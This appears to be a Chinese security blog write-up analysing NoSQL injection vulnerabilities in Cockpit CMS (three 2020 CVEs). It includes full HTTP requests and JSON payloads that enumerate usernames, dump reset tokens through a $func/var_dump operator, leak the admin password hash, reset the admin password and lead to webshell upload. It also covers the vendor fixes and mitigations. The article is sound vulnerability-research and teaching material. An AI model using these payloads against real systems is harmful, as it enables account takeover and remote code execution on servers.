CockpitCMS NoSQL注入漏洞分析

阅读量    120050 |

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

前言

在网络攻击方法中,SQL注入一直是最流行的攻击之一,随着NoSQL数据库,如MongoDB、Redis的出现,传统的SQL注入不再可行。但是这并不意味着NoSQL数据库就百分百安全。NoSQL注入漏洞第一次由Diaspora在2010年发现,到现在,NoSQL注入和SQL注入一样,如果开发者不注重,同样会对企业服务器造成致命威胁。

这次,根据PHP CMS Cockpit中存在的几个漏洞,来学习NoSQL Injection。这几个漏洞被分配了3个CVE,分别是CVE-2020-35848、CVE-2020-35847和CVE-2020-35846。

从这个例子中,我们可以看到一个简单的NoSQL注入是如何一步步得到管理员权限,最后造成RCE严重后果的。

 

环境搭建

直接使用docker搭建,推荐cockpit自带的dockerfile:

FROM php:7.3-apache

RUN apt-get update \
    && apt-get install -y \
        wget zip unzip \
        libzip-dev \
        libfreetype6-dev \
        libjpeg62-turbo-dev \
        libpng-dev \
        sqlite3 libsqlite3-dev \
        libssl-dev \
    && pecl install mongodb \
    && pecl install redis \
    && docker-php-ext-configure gd --with-freetype-dir=/usr/include/ --with-jpeg-dir=/usr/include/ \
    && docker-php-ext-install -j$(nproc) iconv gd pdo zip opcache pdo_sqlite \
    && a2enmod rewrite expires

RUN echo "extension=mongodb.so" > /usr/local/etc/php/conf.d/mongodb.ini
RUN echo "extension=redis.so" > /usr/local/etc/php/conf.d/redis.ini

RUN chown -R www-data:www-data /var/www/html

VOLUME /var/www/html

CMD ["apache2-foreground"]

上面的dockerfile文件会搭建一个支持nosql数据库的httpd服务。但cockpit CMS还没有安装。需要进入docker exec进入容器内部自行下载安装。

然后访问 http://your-ip:8000/cockpit/install/index.php ,先进行自动安装。初始密码为admin/admin

安装完成后访问 http://your-ip:8000/cockpit/index.php 页面即可登录。

 

漏洞1:/auth/check

打开burp,在登录页面抓个包,尝试下面的payload:

POST /cockpit/auth/check HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/json; charset=UTF-8
Content-Length: 168
Connection: close

{
    "auth":{
        "user":{
            "$eq": "admin"
        },
        "password":[
            0
        ]
    },
    "csfr":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.dlnu8XjKIvB6mGfBlOgjtnixirAIsnzf5QTAEP1mJJc"
}

我们查看相对应的源码modules/Cockpit/module/auth.php,可以看到:

我们可以看到,在modules/Cockpit/module/auth.php文件的第33行,首先,程序会查找用户是否存在用户是否存在,只有在用户存在的情况下,才会执行第35行if条件句中的password_verify()逻辑(&&运算符是短路求值,或者说是惰性求值)。所以如果返回的结果是password_verify() expects parameter 1 to be string,则说明,$user = admin在数据库中是存在的,$app->storage->findOne()成功返回了查询结果。

而上述漏洞的关键点在于,$filter['user']$data['user']获取到之后,在被传入$app->storage->findOne进行数据库查询之前,完全没有经过过滤。因此,我们可以通过MongoDB操作符来进行NoSQL 注入。

在这里,我们可以总结一些可用的MongoDB操作符注入姿势。

$eq

$eq表示equal。是MongoDB中的比较操作符。

语法:

{
    <field>: { $eq: <value> }
}

$regex

$regex是MongoDB的正则表达式操作符,用来设置匹配字符串的正则表达式。$regex操作符是在MongoDB盲注中最经常被使用的,我们可以借助它来一个一个字符地爆破数据库。

语法:

{
    <field>: { $regex: /pattern/, $options: '<options>' } 
}
{
    <field>: { $regex: 'pattern', $options: '<options>' }
}
{
    <field>: { $regex: /pattern/<options>}
}

其中<options>是模式修正符,在MongoDB中包含imxs四个选项。

我们可以用$regex进行盲注,来猜测用户名,比如:

POST /cockpit/auth/check HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/json; charset=UTF-8
Content-Length: 169
Connection: close

{
    "auth":{
        "user":{
            "$regex": "a.*"
        },
        "password":[
            0
        ]
    },
    "csfr":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.dlnu8XjKIvB6mGfBlOgjtnixirAIsnzf5QTAEP1mJJc"
}

说明用户名以a开头的用户存在。

"$regex": "ab.*"

ab开头的用户不存在,那返回的信息自然是User not found

$nin

$nin表示查询时不匹配数组中的值,语法:

{
    field: { $nin: [ <value1>, <value2>, ..., <valueN> ] }
}

比如现在后台一共有4个用户:

如果我们已经知道了用户admin,Poseidon和Sirens,那么我们还可以用$nin来加快盲注暴力破解的速度。

payload:

{
    "auth":{
        "user":{
            "$nin": [
                "admin",
                "Poseidon",
                "Sirens"
            ],
            "$regex": "Co.*"
        },
        "password":[
            0
        ]
    },
    "csfr":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.dlnu8XjKIvB6mGfBlOgjtnixirAIsnzf5QTAEP1mJJc"
}

再查找以aP或是S开头的用户就会提示用户不存在。

自定义$func/$fn/$f 操作符

在Cockpit的lib/MongoLite/Database.phpevaluate函数中重写和新增很多MongoDB操作符,其中$func$fn$f操作符比较有意思,因为该操作符允许调用callable PHP函数:

$func操作符并不是MongoDB中定义的标准操作符,在Cockpit CMS中,该操作符可以调用任何带有单个参数的PHP标准函数,其中$b是我们可控的。

所以我们可以构造这样的payload:

{
    "auth":{
        "user":{
            "$func":"var_dump"
        },
        "password":[
            0
        ]
    },
    "csfr":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.dlnu8XjKIvB6mGfBlOgjtnixirAIsnzf5QTAEP1mJJc"
}

一次性得到了全部用户名。

$func换成$fn或是$f,也是一样的效果:

{
    "auth":{
        "user":{
            "$fn":"var_dump"
        },
        "password":[
            0
        ]
    },
    "csfr":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.dlnu8XjKIvB6mGfBlOgjtnixirAIsnzf5QTAEP1mJJc"
}

 

漏洞2:/auth/requestreset

在忘记登录密码的情况下,Cockpit提供了密码重置功能,相关逻辑在modules/Cockpit/Controller/Auth.php中,和登录逻辑一样,传入$this->app->storage->findOne()进行查询的参数$query完全没有经过处理:

在这里,我们可以用相同的方法来获取用户名:

POST /cockpit/auth/requestreset HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://your-ip:8000/cockpit/auth/forgotpassword
X-Requested-With: XMLHttpRequest
Content-Type: application/json; charset=UTF-8
Content-Length: 33
Connection: close
Cookie: 8071dec2be26139e39a170762581c00f=e0050af94b1d4e88d31e7695c2b5142a

{
    "user":{
        "$func":"var_dump"
    }
}

 

漏洞3:/auth/resetpassword

从前面的两处漏洞,已经可以得到后台的用户账户名了。接着我们可以利用漏洞3重置密码。

重置密码功能处理函数为resetpassword(),位于文件modules/Cockpit/Controller/Auth.php

在第150行,$token参数被传入查询之前,没有经过过滤净化,同样,在这样存在一个相同的漏洞:

{
    "token":{
        "$func":"var_dump"
    }
}

 

漏洞4:/auth/newpassword

无独有偶,在同文件的newpassword中,同样没有对$token参数做净化:

同样存在NoSQL注入漏洞:

获取用户密码

当获取了正确了$token之后,重新请求auth/newpassword

POST /cockpit/auth/newpassword HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/json; charset=UTF-8
Content-Length: 60
Connection: close

{
    "token":"rp-bb6dfcbc16621bf95234355475d53114609bc6e8c336b"
}

可以看到,我们得到了admin用户的邮箱信息和hash之后的密码!

hash值$2y$10$IkeINxb9VlaZUJ5jwyBNdO\/x8QFlCd1UO8zLiZExGDLVFVJtjyoz6是用PHP built-in加密函数password_hash加密的。如果你有足够大的密码库,我们也可以暴力破解。

重置用户密码

如果你没有那么多时间或是设备破解密码,我们可以借助resetpassword中的漏洞来直接重置密码:

{
    "token":"rp-bb6dfcbc16621bf95234355475d53114609bc6e8c336b",
    "password":"123456hahha"
}

密码重置成功!

 

RCE

当我们手握管理员账号密码之后,我们能做的事情就变多变危险了。接下来我们看看能不能向后台上传个webshell。

登录管理员账号,在后台发现了几个可以利用的功能,比如名为AssetsFinder的功能模块。

它们都有一个上传文件的功能,虽然有文件大小限制,但是上传个shell足够了:

访问我们上传的shell,直接在目标远程服务器上执行命令:

 

官方修复

接下来看看开发者是怎么修复这些漏洞的。

限制用户传入参数为字符串

modules/Cockpit/Controller/Auth.php

check函数:

通过限制用户的输入为string类型来防止PHP数组注入。

newpassword函数:

resetpassword函数:

移除$func/$fn/$f操作符

lib/MongoLite/Database.php :

对于危险操作符$func$fn$f,cockpit cms开发者选择的修复方案是直接移除这些操作符来杜绝漏洞。

 

NoSQL注入其他方法

当然,NoSQL注入的方法不仅仅是上述攻击cockpit cms中提到的方法,实际上,早在2015年的一篇文章No SQL, No Injection?Examining NoSQL Security,来自IBM的安全员Aviv Ron就总结了几种NoSQL注入方法,分别是:

(1)PHP数组注入

(2)MongoDB OR注入

(3)任意JavaScript注入

首先PHP数组注入在CTF比赛以及在PHP CMS应用数组中最常见,也就是本文主要内容所使用的方法,所以这里就不再赘述了。这里简单介绍一下后面两种方法(内容总结自上面提到的2015年的文章)。

MongoDB OR注入

SQL注入漏洞的一个常见原因是从字符串文本构建查询,其中包括未使用适当编码的用户输入。虽然这种注入方式因为JSON查询而变得更难实现,但是也不是完全没有可能的。

一些开发者可能采取这样的方式将用户输入转成JSON,而不是使用PHP自带的array函数:

在正常情况下,拼接后可以得到:

{ username: 'tolkien', password: 'hobbit' }

如果攻击者构造这样的恶意输入:

拼接后的结果为:

$or就表示对后面的[]中的内容进行OR语句操作,而一个{}查询语句永远返回TRUE

所以这条语句就相当于:

SELECT * FROM logins WHERE username = 'tolkien' AND (TRUE OR ('a' = 'a' AND password = '')) #successful MongoDB injection

只要用户能够提供正确的用户名就可以直接登录,而不需要密码校验。

NoSQL JavaScript注入

NoSQL数据库的另一个特性是可以执行JavaScript语句。如果用户的输入为转义或未充分转义,则Javascript执行会暴露一个危险的攻击面。 例如,一个复杂的事物可能需要javascript代码,其中包括一个未转义的用户输入作为查询中的一个参数。

比如以一个商店为例,商店中有一系列商品,每个商品都有价格和金额。开发人员想要获取这些字段的总和或者平均值,开发者编写了一个map reduce函数,其中$param参数接受用户的输入:

因为没有对用户的输入进行充分的过滤,所以攻击者可以构造这样的payload:

上面代码中绿色的部分的作用是闭合function()函数;红色的部分是攻击者希望执行的任意代码。最后最一部分蓝色的代码调用一个新的map reduce函数,以平衡注入到原始语句中的代码。

得到的效果为:

如果要防止JavaScript注入攻击,可以直接禁止数据库语句中JavaScript语句的执行(在mongod.conf中将javascriptEnabled设为false)或者是加强对用户输入的过滤

缓解与检测

我们可以看到的是,无论哪种类型的注入方法,它们的防御或者说是缓解措施,最重要的一点就是,永远不要无条件相信用户的输入,对于来自外部的输入,一定要小心小心再小心。

最后,关于检测,我们可以尝试用机器学习的方法,用恶意和正常的NoSQL查询语句建模训练来实现NoSQL注入检测。后来我在调研中发现,已经有研究者这样做过了,并且发表了相关的论文

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多